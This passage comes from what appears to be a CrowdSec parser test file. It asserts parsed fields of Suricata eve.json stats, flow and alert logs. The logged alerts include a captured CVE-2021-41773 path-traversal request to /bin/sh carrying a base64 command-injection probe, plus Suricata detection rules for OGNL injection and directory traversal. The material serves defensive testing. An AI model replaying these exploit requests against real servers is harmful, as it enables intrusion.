"flow\":{\"memcap\":0,\"tcp\":59557,\"udp\":44825,\"icmpv4\":0,\"icmpv6\":141,\"tcp_reuse\":3,\"get_used\":0,\"get_used_eval\":0,\"get_used_eval_reject\":0,\"get_used_eval_busy\":0,\"get_used_failed\":0,\"wrk\":{\"spare_sync_avg\":100,\"spare_sync\":1038,\"spare_sync_incomplete\":0,\"spare_sync_empty\":0,\"flows_evicted_needs_work\":750,\"flows_evicted_pkt_inject\":1319,\"flows_evicted\":101,\"flows_injected\":749},\"mgr\":{\"full_hash_pass\":2128,\"closed_pruned\":0,\"new_pruned\":0,\"est_pruned\":0,\"bypassed_pruned\":0,\"rows_maxlen\":3,\"flows_checked\":162128,\"flows_notimeout\":57784,\"flows_timeout\":104344,\"flows_timeout_inuse\":0,\"flows_evicted\":104357,\"flows_evicted_needs_work\":749},\"spare\":9808,\"emerg_mode_entered\":0,\"emerg_mode_over\":0,\"memuse\":7474304},\"defrag\":{\"ipv4\":{\"fragments\":0,\"reassembled\":0,\"timeouts\":0},\"ipv6\":{\"fragments\":0,\"reassembled\":0,\"timeouts\":0},\"max_frag_hits\":0},\"flow_bypassed\":{\"local_pkts\":0,\"local_bytes\":0,\"local_capture_pkts\":0,\"local_capture_bytes\":0,\"closed\":0,\"pkts\":0,\"bytes\":0},\"tcp\":{\"sessions\":58614,\"ssn_memcap_drop\":0,\"pseudo\":0,\"pseudo_failed\":0,\"invalid_checksum\":253,\"no_flow\":0,\"syn\":59963,\"synack\":8969,\"rst\":79692,\"midstream_pickups\":0,\"pkt_on_wrong_thread\":0,\"segment_memcap_drop\":0,\"stream_depth_reached\":3,\"reassembly_gap\":0,\"overlap\":106,\"overlap_diff_data\":0,\"insert_data_normal_fail\":0,\"insert_data_overlap_fail\":0,\"insert_list_fail\":0,\"memuse\":1212416,\"reassembly_memuse\":196608},\"detect\":{\"engines\":[{\"id\":0,\"last_reload\":\"2022-07-05T08:03:10.331430+0000\",\"rules_loaded\":25206,\"rules_failed\":24}],\"alert\":2476},\"app_layer\":{\"flow\":{\"http\":1361,\"ftp\":0,\"smtp\":0,\"tls\":82,\"ssh\":920,\"imap\":0,\"smb\":0,\"dcerpc_tcp\":0,\"dns_tcp\":0,\"nfs_tcp\":0,\"ntp\":41804,\"ftp-data\":0,\"tftp\":16,\"ikev2\":0,\"krb5_tcp\":0,\"dhcp\":284,\"snmp\":82,\"sip\":294,\"rfb\":0,\"mqtt\":0,\"rdp\":0,\"failed_tcp\":0,\"dcerpc_udp\":0,\"dns_udp\":292,\"nfs_udp\":0,\"krb5_udp\":0,\"failed_udp\":2053},\"tx\":{\"http\":1444,\"ftp\":0,\"smtp\":0,\"tls\":0,\"ssh\":0,\"imap\":0,\"smb\":0,\"dcerpc_tcp\":0,\"dns_tcp\":0,\"nfs_tcp\":0,\"ntp\":41818,\"ftp-data\":0,\"tftp\":16,\"ikev2\":0,\"krb5_tcp\":0,\"dhcp\":568,\"snmp\":86,\"sip\":294,\"rfb\":0,\"mqtt\":0,\"rdp\":0,\"dcerpc_udp\":0,\"dns_udp\":507,\"nfs_udp\":0,\"krb5_udp\":0},\"expectations\":0},\"http\":{\"memuse\":0,\"memcap\":0},\"ftp\":{\"memuse\":0,\"memcap\":0},\"file_store\":{\"open_files\":0}}}" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-11T06:09:52.602489+0000\",\"flow_id\":1684596746908921,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.7\",\"src_port\":36288,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2034125,\"rev\":4,\"signature\":\"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_HTTP_server\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2021_10_05\"],\"cve\":[\"CVE_2021_41773\"],\"deployment\":[\"Internet\",\"Perimeter\"],\"former_category\":[\"EXPLOIT\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2022_04_18\"]}},\"http\":{\"hostname\":\"34.245.178.108\",\"http_port\":80,\"url\":\"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\",\"http_content_type\":\"text/html\",\"http_method\":\"POST\",\"protocol\":\"HTTP/1.1\",\"status\":400,\"length\":166,\"http_request_body\":\"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"http_response_body\":\"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg==\"},\"files\":[{\"filename\":\"/bin/sh\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":33,\"tx_id\":0}],\"app_proto\":\"http\",\"flow\":{\"pkts_toserver\":4,\"pkts_toclient\":4,\"bytes_toserver\":623,\"bytes_toclient\":599,\"start\":\"2022-07-11T06:09:52.488697+0000\"},\"payload\":\"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"stream\":1}" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-12T05:52:18.378379-0000\",\"flow_id\":883709815679084,\"in_iface\":\"eth0\",\"event_type\":\"flow\",\"src_ip\":\"1.2.3.6\",\"src_port\":56814,\"dest_ip\":\"127.0.0.1\",\"dest_port\":2352,\"proto\":\"TCP\",\"flow\":{\"pkts_toserver\":2,\"pkts_toclient\":1,\"bytes_toserver\":108,\"bytes_toclient\":54,\"start\":\"2022-07-12T05:48:21.714860-0000\",\"end\":\"2022-07-11T05:48:21.733121+0000\",\"age\":0,\"state\":\"closed\",\"reason\":\"timeout\",\"alerted\":false},\"tcp\":{\"tcp_flags\":\"16\",\"tcp_flags_ts\":\"06\",\"tcp_flags_tc\":\"14\",\"syn\":true,\"rst\":true,\"ack\":true,\"state\":\"closed\"}}" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-12T05:53:51.912203-0000\",\"event_type\":\"stats\",\"stats\":{\"uptime\":510552,\"capture\":{\"kernel_packets\":373404,\"kernel_drops\":0,\"errors\":0},\"decoder\":{\"pkts\":373404,\"bytes\":75476420,\"invalid\":0,\"ipv4\":334023,\"ipv6\":141,\"ethernet\":373404,\"chdlc\":0,\"raw\":0,\"null\":0,\"sll\":0,\"tcp\":244417,\"udp\":86866,\"sctp\":0,\"icmpv4\":2740,\"icmpv6\":141,\"ppp\":0,\"pppoe\":0,\"geneve\":0,\"gre\":0,\"vlan\":0,\"vlan_qinq\":0,\"vxlan\":0,\"vntag\":0,\"ieee8021ah\":0,\"teredo\":0,\"ipv4_in_ipv6\":0,\"ipv6_in_ipv6\":0,\"mpls\":0,\"avg_pkt_size\":202,\"max_pkt_size\":1514,\"max_mac_addrs_src\":0,\"max_mac_addrs_dst\":0,\"erspan\":0,\"event\":{\"ipv4\":{\"pkt_too_small\":0,\"hlen_too_small\":0,\"iplen_smaller_than_hlen\":0,\"trunc_pkt\":0,\"opt_invalid\":0,\"opt_invalid_len\":0,\"opt_malformed\":0,\"opt_pad_required\":0,\"opt_eol_required\":0,\"opt_duplicate\":0,\"opt_unknown\":0,\"wrong_ip_version\":0,\"icmpv6\":0,\"frag_pkt_too_large\":0,\"frag_overlap\":0,\"frag_ignored\":0},\"icmpv4\":{\"pkt_too_small\":0,\"unknown_type\":0,\"unknown_code\":0,\"ipv4_trunc_pkt\":0,\"ipv4_unknown_ver\":0},\"icmpv6\":{\"unknown_type\":0,\"unknown_code\":0,\"pkt_too_small\":0,\"ipv6_unknown_version\":0,\"ipv6_trunc_pkt\":0,\"mld_message_with_invalid_hl\":0,\"unassigned_type\":0,\"experimentation_type\":0},\"ipv6\":{\"pkt_too_small\":0,\"trunc_pkt\":0,\"trunc_exthdr\":0,\"exthdr_dupl_fh\":0,\"exthdr_useless_fh\":0,\"exthdr_dupl_rh\":0,\"exthdr_dupl_hh\":0,\"exthdr_dupl_dh\":0,\"exthdr_dupl_ah\":0,\"exthdr_dupl_eh\":0,\"exthdr_invalid_optlen\":0,\"wrong_ip_version\":0,\"exthdr_ah_res_not_null\":0,\"hopopts_unknown_opt\":0,\"hopopts_only_padding\":0,\"dstopts_unknown_opt\":0,\"dstopts_only_padding\":0,\"rh_type_0\":0,\"zero_len_padn\":0,\"fh_non_zero_reserved_field\":0,\"data_after_none_header\":0,\"unknown_next_header\":0,\"icmpv4\":0,\"frag_pkt_too_large\":0,\"frag_overlap\":0,\"frag_invalid_length\":0,\"frag_ignored\":0,\"ipv4_in_ipv6_too_small\":0,\"ipv4_in_ipv6_wrong_version\":0,\"ipv6_in_ipv6_too_small\":0,\"ipv6_in_ipv6_wrong_version\":0},\"tcp\":{\"pkt_too_small\":0,\"hlen_too_small\":0,\"invalid_optlen\":0,\"opt_invalid_len\":0,\"opt_duplicate\":0},\"udp\":{\"pkt_too_small\":0,\"hlen_too_small\":0,\"hlen_invalid\":0},\"sll\":{\"pkt_too_small\":0},\"ethernet\":{\"pkt_too_small\":0},\"ppp\":{\"pkt_too_small\":0,\"vju_pkt_too_small\":0,\"ip4_pkt_too_small\":0,\"ip6_pkt_too_small\":0,\"wrong_type\":0,\"unsup_proto\":0},\"pppoe\":{\"pkt_too_small\":0,\"wrong_code\":0,\"malformed_tags\":0},\"gre\":{\"pkt_too_small\":0,\"wrong_version\":0,\"version0_recur\":0,\"version0_flags\":0,\"version0_hdr_too_big\":0,\"version0_malformed_sre_hdr\":0,\"version1_chksum\":0,\"version1_route\":0,\"version1_ssr\":0,\"version1_recur\":0,\"version1_flags\":0,\"version1_no_key\":0,\"version1_wrong_protocol\":0,\"version1_malformed_sre_hdr\":0,\"version1_hdr_too_big\":0},\"vlan\":{\"header_too_small\":0,\"unknown_type\":0,\"too_many_layers\":0},\"ieee8021ah\":{\"header_too_small\":0},\"vntag\":{\"header_too_small\":0,\"unknown_type\":0},\"ipraw\":{\"invalid_ip_version\":0},\"ltnull\":{\"pkt_too_small\":0,\"unsupported_type\":0},\"sctp\":{\"pkt_too_small\":0},\"mpls\":{\"header_too_small\":0,\"pkt_too_small\":0,\"bad_label_router_alert\":0,\"bad_label_implicit_null\":0,\"bad_label_reserved\":0,\"unknown_payload_type\":0},\"vxlan\":{\"unknown_payload_type\":0},\"geneve\":{\"unknown_payload_type\":0},\"erspan\":{\"header_too_small\":0,\"unsupported_version\":0,\"too_many_vlan_layers\":0},\"dce\":{\"pkt_too_small\":0},\"chdlc\":{\"pkt_too_small\":0}},\"too_many_layers\":0},\"flow\":{\"memcap\":0,\"tcp\":59557,\"udp\":44825,\"icmpv4\":0,\"icmpv6\":141,\"tcp_reuse\":3,\"get_used\":0,\"get_used_eval\":0,\"get_used_eval_reject\":0,\"get_used_eval_busy\":0,\"get_used_failed\":0,\"wrk\":{\"spare_sync_avg\":100,\"spare_sync\":1038,\"spare_sync_incomplete\":0,\"spare_sync_empty\":0,\"flows_evicted_needs_work\":750,\"flows_evicted_pkt_inject\":1319,\"flows_evicted\":101,\"flows_injected\":749},\"mgr\":{\"full_hash_pass\":2128,\"closed_pruned\":0,\"new_pruned\":0,\"est_pruned\":0,\"bypassed_pruned\":0,\"rows_maxlen\":3,\"flows_checked\":162128,\"flows_notimeout\":57784,\"flows_timeout\":104344,\"flows_timeout_inuse\":0,\"flows_evicted\":104357,\"flows_evicted_needs_work\":749},\"spare\":9808,\"emerg_mode_entered\":0,\"emerg_mode_over\":0,\"memuse\":7474304},\"defrag\":{\"ipv4\":{\"fragments\":0,\"reassembled\":0,\"timeouts\":0},\"ipv6\":{\"fragments\":0,\"reassembled\":0,\"timeouts\":0},\"max_frag_hits\":0},\"flow_bypassed\":{\"local_pkts\":0,\"local_bytes\":0,\"local_capture_pkts\":0,\"local_capture_bytes\":0,\"closed\":0,\"pkts\":0,\"bytes\":0},\"tcp\":{\"sessions\":58614,\"ssn_memcap_drop\":0,\"pseudo\":0,\"pseudo_failed\":0,\"invalid_checksum\":253,\"no_flow\":0,\"syn\":59963,\"synack\":8969,\"rst\":79692,\"midstream_pickups\":0,\"pkt_on_wrong_thread\":0,\"segment_memcap_drop\":0,\"stream_depth_reached\":3,\"reassembly_gap\":0,\"overlap\":106,\"overlap_diff_data\":0,\"insert_data_normal_fail\":0,\"insert_data_overlap_fail\":0,\"insert_list_fail\":0,\"memuse\":1212416,\"reassembly_memuse\":196608},\"detect\":{\"engines\":[{\"id\":0,\"last_reload\":\"2022-07-05T08:03:10.331430+0000\",\"rules_loaded\":25206,\"rules_failed\":24}],\"alert\":2476},\"app_layer\":{\"flow\":{\"http\":1361,\"ftp\":0,\"smtp\":0,\"tls\":82,\"ssh\":920,\"imap\":0,\"smb\":0,\"dcerpc_tcp\":0,\"dns_tcp\":0,\"nfs_tcp\":0,\"ntp\":41804,\"ftp-data\":0,\"tftp\":16,\"ikev2\":0,\"krb5_tcp\":0,\"dhcp\":284,\"snmp\":82,\"sip\":294,\"rfb\":0,\"mqtt\":0,\"rdp\":0,\"failed_tcp\":0,\"dcerpc_udp\":0,\"dns_udp\":292,\"nfs_udp\":0,\"krb5_udp\":0,\"failed_udp\":2053},\"tx\":{\"http\":1444,\"ftp\":0,\"smtp\":0,\"tls\":0,\"ssh\":0,\"imap\":0,\"smb\":0,\"dcerpc_tcp\":0,\"dns_tcp\":0,\"nfs_tcp\":0,\"ntp\":41818,\"ftp-data\":0,\"tftp\":16,\"ikev2\":0,\"krb5_tcp\":0,\"dhcp\":568,\"snmp\":86,\"sip\":294,\"rfb\":0,\"mqtt\":0,\"rdp\":0,\"dcerpc_udp\":0,\"dns_udp\":507,\"nfs_udp\":0,\"krb5_udp\":0},\"expectations\":0},\"http\":{\"memuse\":0,\"memcap\":0},\"ftp\":{\"memuse\":0,\"memcap\":0},\"file_store\":{\"open_files\":0}}}" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "suricata-evelogs" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-12T06:09:52.602489-0000\",\"flow_id\":1684596746908921,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.7\",\"src_port\":36288,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2034125,\"rev\":4,\"signature\":\"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_HTTP_server\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2021_10_05\"],\"cve\":[\"CVE_2021_41773\"],\"deployment\":[\"Internet\",\"Perimeter\"],\"former_category\":[\"EXPLOIT\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2022_04_18\"]}},\"http\":{\"hostname\":\"34.245.178.108\",\"http_port\":80,\"url\":\"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\",\"http_content_type\":\"text/html\",\"http_method\":\"POST\",\"protocol\":\"HTTP/1.1\",\"status\":400,\"length\":166,\"http_request_body\":\"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"http_response_body\":\"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg==\"},\"files\":[{\"filename\":\"/bin/sh\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":33,\"tx_id\":0}],\"app_proto\":\"http\",\"flow\":{\"pkts_toserver\":4,\"pkts_toclient\":4,\"bytes_toserver\":623,\"bytes_toclient\":599,\"start\":\"2022-07-12T06:09:52.488697-0000\"},\"payload\":\"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"stream\":1}" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 8 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false len(results["s01-parse"]["crowdsecurity/suricata-evelogs"]) == 8 results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Success == true results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["suricata_alert_signature_rev"] == "3" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["time"] == "2022-07-10T23:50:05.533101" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["dest_port"] == "80" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-10T23:50:05.533101+0000\",\"flow_id\":1258832998001901,\"in_iface\":\"bond0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.4\",\"src_port\":52812,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"metadata\":{\"flowbits\":[\"ET.formdata\",\"http.dottedquadhost\"]},\"community_id\":\"xx\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2024468,\"rev\":3,\"signature\":\"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)\",\"category\":\"Attempted User Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_Struts2\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2017_07_14\"],\"deployment\":[\"Datacenter\"],\"former_category\":[\"WEB_SPECIFIC_APPS\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2020_08_10\"]},\"rule\":\"alert http any any -> $HTTP_SERVERS any (msg:\\\"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)\\\"; flow:established,to_server; http.method; content:\\\"POST\\\"; nocase; http.request_body; content:\\\"multipart\\\"; content:\\\"form-data\\\"; distance:1; within:11; content:\\\"ognl.OgnlContext\\\"; distance:1; fast_pattern; content:\\\"DEFAULT_MEMBER_ACCESS\\\"; distance:1; within:23; content:\\\"java.lang.ProcessBuilder\\\"; distance:1; content:\\\".start\\\"; distance:1; reference:url,securityonline.info/tutorial-cve-2017-9791-apache-struts2-s2-048-remote-code-execution-vulnerability/; reference:cve,2017-9791; classtype:attempted-user; sid:2024468; rev:3; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_07_14, deployment Datacenter, former_category WEB_SPECIFIC_APPS, performance_impact Low, signature_severity Major, updated_at 2020_08_10;)\"},\"files\":[{\"filename\":\"%{0b\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":1,\"tx_id\":0}],\"app_proto\":\"http\",\"payload_printable\":\"POST /ind\\n\",\"stream\":1,\"packet\":\"xxx\",\"packet_info\":{\"linktype\":1}}" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["program"] == "suricata-evelogs" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Parsed["suricata_alert_signature"] == "ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["suricata_alert_signature_id"] == "2024468" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["log_type"] == "suricata_alert" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["suricata_flow_id"] == "1258832998001901" results["s01-parse"]["crowdsecurity/suricata-evelogs"][0].Evt.Meta["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Success == true results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["program"] == "suricata-evelogs" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["suricata_alert_signature"] == "ETPRO HUNTING Generic Inbound URI Directory Traversal" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["suricata_alert_signature_rev"] == "1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["time"] == "2022-07-10T23:52:31.097119" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["dest_port"] == "80" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-10T23:52:31.097119+0000\",\"flow_id\":836311304881252,\"in_iface\":\"bond0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.5\",\"src_port\":53114,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"metadata\":{\"flowbits\":[\"min.gethttp\",\"http.dottedquadhost\"]},\"community_id\":\"xx\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2843816,\"rev\":1,\"signature\":\"ETPRO HUNTING Generic Inbound URI Directory Traversal\",\"category\":\"Potentially Bad Traffic\",\"severity\":2,\"metadata\":{\"created_at\":[\"2020_08_04\"],\"deployment\":[\"Perimeter\"],\"former_category\":[\"HUNTING\"],\"performance_impact\":[\"Moderate\"],\"signature_severity\":[\"Informational\"],\"updated_at\":[\"2020_08_04\"]},\"rule\":\"alert http any any -> [$HTTP_SERVERS,$HOME_NET] any (msg:\\\"ETPRO HUNTING Generic Inbound URI Directory Traversal\\\"; flow:established,to_server; http.uri; content:\\\"=../\\\"; fast_pattern; classtype:bad-unknown; sid:2843816; rev:1; metadata:created_at 2020_08_04, deployment Perimeter, former_category HUNTING, performance_impact Moderate, signature_severity Informational, updated_at 2020_08_04;)\"},\"app_proto\":\"http\",\"payload_printable\":\"GET /ind.\",\"stream\":1,\"packet\":\"xxx\",\"packet_info\":{\"linktype\":1}}" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["suricata_rule_severity"] == "2" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["log_type"] == "suricata_alert" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["source_ip"] == "1.2.3.5" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["suricata_alert_signature_id"] == "2843816" results["s01-parse"]["crowdsecurity/suricata-evelogs"][1].Evt.Meta["suricata_flow_id"] == "836311304881252" results["s01-parse"]["crowdsecurity/suricata-evelogs"][2].Success == false results["s01-parse"]["crowdsecurity/suricata-evelogs"][3].Success == false results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Success == true results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["dest_port"] == "80" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-11T06:09:52.602489+0000\",\"flow_id\":1684596746908921,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.7\",\"src_port\":36288,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2034125,\"rev\":4,\"signature\":\"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) 